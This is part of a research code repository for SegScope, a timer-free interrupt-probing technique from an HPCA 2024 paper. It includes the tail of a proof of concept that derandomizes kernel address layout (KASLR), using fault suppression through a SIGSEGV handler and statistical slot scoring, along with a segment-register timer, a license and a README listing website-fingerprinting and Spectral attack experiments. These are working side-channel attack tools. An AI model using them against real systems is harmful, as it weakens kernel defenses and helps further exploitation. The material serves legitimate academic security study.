126 | }
127 | score[i] = score[i] / valid[i];
128 | for (int j = 0; j < cycles; j++)
129 | {
130 | if (inter_count[i][j] != 0)
131 | {
132 | var[i] += pow(inter_count[i][j] - score[i], 2) / valid[i];
133 | }
134 | }
135 | standard[i] = pow(var[i], 0.5);
136 |
137 | for (int j = 0; j < cycles; j++)
138 | {
139 | if (inter_count[i][j] != 0 && (inter_count[i][j] < score[i] - 2 * standard[i] || inter_count[i][j] > score[i] + 2 * standard[i]))
140 | {
141 | inter_count[i][j] = 0;
142 | flag = 1;
143 | }
144 | }
145 | if (flag == 1)
146 | {
147 | filter(i);
148 | }
149 | }
150 |
151 | // process the result after access-count(read_addr)
152 |
153 | int compute()
154 | {
155 |
156 | int tar, tar2, tar3;
157 | FILE *fp = fopen("result-512", "w");
158 | FILE *fp1 = fopen("result", "a+");
159 | for (int i = 0; i < 512; i++)
160 | {
161 | filter(i);
162 | }
163 |
164 | // find the max count, which is the target(mapped address)
165 | int max0[5];
166 | double cscore[512];
167 | for (int i = 0; i < 512; i++)
168 | {
169 | cscore[i] = score[i];
170 | }
171 | for (int y = 0; y < 5; y++)
172 | {
173 | max0[y] = 0;
174 | for (int i = 0; i < 512; i++)
175 | {
176 | if (cscore[i] > cscore[max0[y]])
177 | {
178 | max0[y] = i;
179 | }
180 | }
181 | cscore[max0[y]] = 0;
182 | }
183 |
184 | printf("predict_slot is:%d, ", max0[0]);
185 |
186 | printf("the rest top-5 slot is:%d %d %d %d,", max0[1], max0[2], max0[3], max0[4]);
187 |
188 | printf("mapped_score is:%f,second_score=%f\n", score[max0[0]], score[max0[1]]);
189 |
190 | int base = 0x80800000;
191 | unsigned long addr = base + 2 * 1024 * 1024 * max0[0];
192 | printf("%p\n\n", addr);
193 | fprintf(fp1, "%p\n", addr);
194 |
195 | for (int j = 0; j < 512; j++)
196 | {
197 | fprintf(fp, "%f\n", score[j]);
198 | }
199 |
200 | return 0;
201 | }
202 |
203 | // fault handler functions
204 | void sigsegv(int sig, siginfo_t *siginfo, void *context)
205 | {
206 |
207 | // printf("Caught segfault at address %p\n", siginfo->si_addr);
208 | ucontext_t *ucontext = (ucontext_t *)context;
209 | ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
210 |
211 | return;
212 | }
213 |
214 | // binding fault handler
215 | int set_signal(void)
216 | {
217 | struct sigaction act;
218 | act.sa_sigaction = sigsegv;
219 | act.sa_flags = SA_SIGINFO;
220 | return sigaction(SIGSEGV, &act, NULL);
221 | }
222 |
223 | int main(int argc, char *argv[])
224 | {
225 | int ret, i;
226 | unsigned long addr;
227 | char c;
228 | cpu_set_t get;
229 | CPU_ZERO(&get);
230 | progname = argv[0];
231 | if (argc < 3)
232 | return usage();
233 |
234 | if (sscanf(argv[1], "%d", &cycles) != 1)
235 | return usage();
236 |
237 | if (sscanf(argv[2], "%c", &c) != 1)
238 | return usage();
239 |
240 | if (c == 'a')
241 | {
242 | prefetch_flag = 0;
243 | set_signal();
244 | }
245 |
246 | pin_cpu3();
247 |
248 | if (sched_getaffinity(0, sizeof(get), &get) == -1)
249 | {
250 | printf("warning: can not get cpu affinity/n");
251 | }
252 |
253 | for (int i = 0; i < 8; i++)
254 | {
255 | if (CPU_ISSET(i, &get))
256 | {
257 | // printf("this thread %d is running on processor %d\n", gettid(),i);
258 | }
259 | }
260 | read_addr(cycles);
261 | compute();
262 | return 0;
263 | }
264 |
--------------------------------------------------------------------------------
/E3-Breaking_KASLR/timer.c:
--------------------------------------------------------------------------------
1 | /* For Intel, we use rdtsc as baseline */
2 | #include
3 | #include
4 | #include
5 | #define _GUN_SOURCE
6 | #ifdef _MSC_VER
7 | #include /* for rdtscp and clflush */
8 | #pragma optimize("gt", on)
9 | #else
10 | #include /* for rdtscp and clflush */
11 | #endif
12 | #define __USE_GNU
13 | #include
14 | #include
15 | /* sscanf_s only works in MSVC. sscanf should work with other compilers*/
16 | #ifndef _MSC_VER
17 | #define sscanf_s sscanf
18 | #endif
19 | #define T 10000
20 | int cc[T];
21 | unsigned long long reth1;
22 | unsigned long long retl0;
23 |
24 | void prepare()
25 | {
26 | uint16_t value = 1;
27 | __asm__ volatile("mov %0, %%gs" : : "r"(value));
28 | }
29 |
30 | unsigned long long get_cpu_cycle()
31 | {
32 | __asm__ __volatile__(
33 | "rdtsc" : // rdpru is more accurate than rdtsc on AMD processors
34 | "=d"(reth1),
35 | "=a"(retl0));
36 | return ((reth1 << 32) | (retl0));
37 | }
38 |
39 | /* Report best guess in value[0] and runner-up in value[1] */
40 | double count_sum = 0;
41 | long time_sum = 0;
42 | void test_garnularity()
43 | {
44 | int i;
45 | unsigned int junk = 0;
46 | register uint64_t time1, time2;
47 | unsigned long long tsc0, tsc1;
48 |
49 | // warm up
50 |
51 | for (i = 0; i < 1000; i++)
52 | {
53 |
54 | unsigned int count = 0;
55 | prepare();
56 |
57 | __asm__ __volatile__(
58 | //"CLI\n\t"
59 | "mov $0,%%eax\n\t"
60 | "L:\n\t"
61 | "incl %%eax\n\t"
62 | "mov %%gs,%%ecx\n\t"
63 | "cmp $1,%%ecx\n\t"
64 | "je L\n\t"
65 | "mov %%eax, %0" : "=r"(count));
66 | if (i % 100 == 0)
67 | {
68 | printf("[log] warm-up: %d/1000\n", i);
69 | }
70 | }
71 | // SegScope-based timer (asm version)
72 |
73 | for (i = 0; i < T; i++)
74 | {
75 |
76 | if (i % 100 == 0)
77 | {
78 | printf("[log] %d/10000\n", i);
79 | }
80 | unsigned int count = 0;
81 | prepare();
82 | time1 = get_cpu_cycle();
83 | for (volatile int z = 0; z < 100; z++)
84 | {
85 | } /* Delay (can also mfence) */
86 |
87 | __asm__ __volatile__(
88 | //"CLI\n\t"
89 | "mov $0,%%eax\n\t"
90 | "T:\n\t"
91 | "incl %%eax\n\t"
92 | "mov %%gs,%%ecx\n\t"
93 | "cmp $1,%%ecx\n\t"
94 | "je T\n\t"
95 | "mov %%eax, %0" : "=r"(count));
96 | time2 = get_cpu_cycle();
97 | // printf("%llu,%llu,%lf\n",time2-time1,count,(double)(time2-time1)/count);
98 | cc[i] = count;
99 | time_sum += (time2 - time1);
100 | count_sum += count;
101 | }
102 | printf("the granularity is: %lf\n", time_sum / count_sum);
103 | }
104 | int filter(int avg, int std)
105 | {
106 | for (int j = 0; j < T; j++)
107 | {
108 |
109 | if (cc[j] > avg + 2 * std || cc[j] < avg - 2 * std)
110 | {
111 | cc[j] = 0;
112 | }
113 | }
114 | }
115 | int compute()
116 | {
117 |
118 | double var = 0, avg = 0, standard;
119 | int Tnum = T;
120 | for (int j = 0; j < T; j++)
121 | {
122 |
123 | if (cc[j] > 0)
124 | {
125 | avg += cc[j];
126 | }
127 | else
128 | {
129 | Tnum--;
130 | }
131 | }
132 | avg = avg / Tnum;
133 | for (int j = 0; j < T; j++)
134 | {
135 |
136 | if (cc[j] > 0)
137 | {
138 | var += pow(cc[j] - avg, 2) / Tnum;
139 | }
140 | }
141 | filter(avg, standard);
142 | standard = pow(var, 0.5);
143 | printf("avg=%f, standard=%f,Tnum=%d\n", avg, standard, Tnum);
144 |
145 | return 0;
146 | }
147 |
148 | static void pin_cpu3()
149 | {
150 | cpu_set_t mask;
151 |
152 | /* PIN to CPU */
153 | CPU_ZERO(&mask);
154 | CPU_SET(3, &mask);
155 | sched_setaffinity(0, sizeof(cpu_set_t), &mask);
156 | }
157 |
158 | int main(int argc, const char **argv)
159 | {
160 | pin_cpu3();
161 | test_garnularity();
162 | compute();
163 | return (0);
164 | }
165 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 zhangxin00
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SegScope
2 |
3 | This repository contains the experiments of evaluation and case studies discussed in the paper
4 | * "SegScope: Probing Fine-grained Interrupts via Architectural Footprints" (HPCA 2024).
5 |
6 | SegScope can be used to probe interrupts without any timer. We successfully apply it to resurrect multiple end-to-end attacks in a timer-constrained scenario.
7 |
8 | ## Tested Setup
9 |
10 | ### Software dependencies
11 |
12 | In order to run the experiments and proof-of-concepts, the following prerequisites need to be fulfilled:
13 |
14 | * Linux installation
15 | * Build tools (gcc, make)
16 | * Python 3
17 |
18 | * Browsers (for website fingerprinting)
19 | * [Chrome Browser](https://www.google.com/chrome/) or [Tor Browser](https://www.torproject.org/download/).
20 | * You also need to install the drivers for the browsers you would like to use.
21 | - Chrome: Download [here](https://chromedriver.chromium.org/downloads) and add `chromedriver` to your path
22 | - [Tor Browser](https://www.torproject.org): Install [tor-browser-selenium](https://github.com/webfp/tor-browser-selenium)
23 |
24 | ### Hardware dependencies
25 |
26 | Throughout our experiments, we successfully evaluated our implementations on the following environments. We recommend to test SegScope on bare-metal machines.
27 |
28 | | Machine | CPU | Kernel |
29 | | ---------------------- | ------------------- | --------------- |
30 | | Xiaomi Air 13.3 | Intel Core i5-8250U | Linux 5.15.0 |
31 | | Lenovo Yangtian 4900v | Intel Core i7-4790 | Linux 5.8.0 |
32 | | Lenovo Savior Y9000P | Intel Core i9-12900H | Linux 5.15.0 |
33 | | Honor Magicbook 16 Pro | AMD Ryzen 7 5800H | Linux 5.15.0 |
34 | | Amazon t2.large (Xen) | Intel Xeon E5-2686 | Linux 5.15.0 |
35 | | Amazon c5.large (KVM) | Intel Xeon 8275CL | Linux 5.15.0 |
36 |
37 | **Note:** The enhanced Spectral attack relies on the UMONITOR/UMWAIT instructions that are only available on Intel latest core processors (Tremont and Alder Lake). We evaluate it on our Lenovo Savior Y9000P machine. Please refer to [mwait](https://github.com/cispa/mwait) for more details.
38 |
39 |
40 | ## Materials
41 |
42 | This repository contains the following materials:
43 |
44 | * `E1-Website Fingerprinting`: contains the code that we apply SegScope to detect interrupts while opening a website.
45 | * `E2-Enhancing Spectral attack`: contains the code that we use SegScope to enhance a non-interrupt side channel attack (i.e., [spectral](https://github.com/cispa/mwait) ).
46 | * `E3-Breaking KASLR`: contains the code that we rely on SegScope-based timer to derandomize KASLR.
47 |
48 | ## Contact
49 |
50 | If there are questions regarding these experiments, please send an email to `zhangxin00@stu.pku.edu.cn`.
51 |
52 | ## How should I cite this work?
53 |
54 | Please use the following BibTeX entry:
55 |
56 | ```latex
57 | @inproceedings{Zhang2024SegScope,
58 | year={2024},
59 | title={SegScope: Probing Fine-grained Interrupts via Architectural Footprints},
60 | booktitle={High Performance Computer Architecture},
61 | author={Xin Zhang and Zhi Zhang and Qingni Shen and Wenhao Wang and Yansong Gao and Zhuoxi Yang and Jiliang Zhang}
62 | }
63 |
--------------------------------------------------------------------------------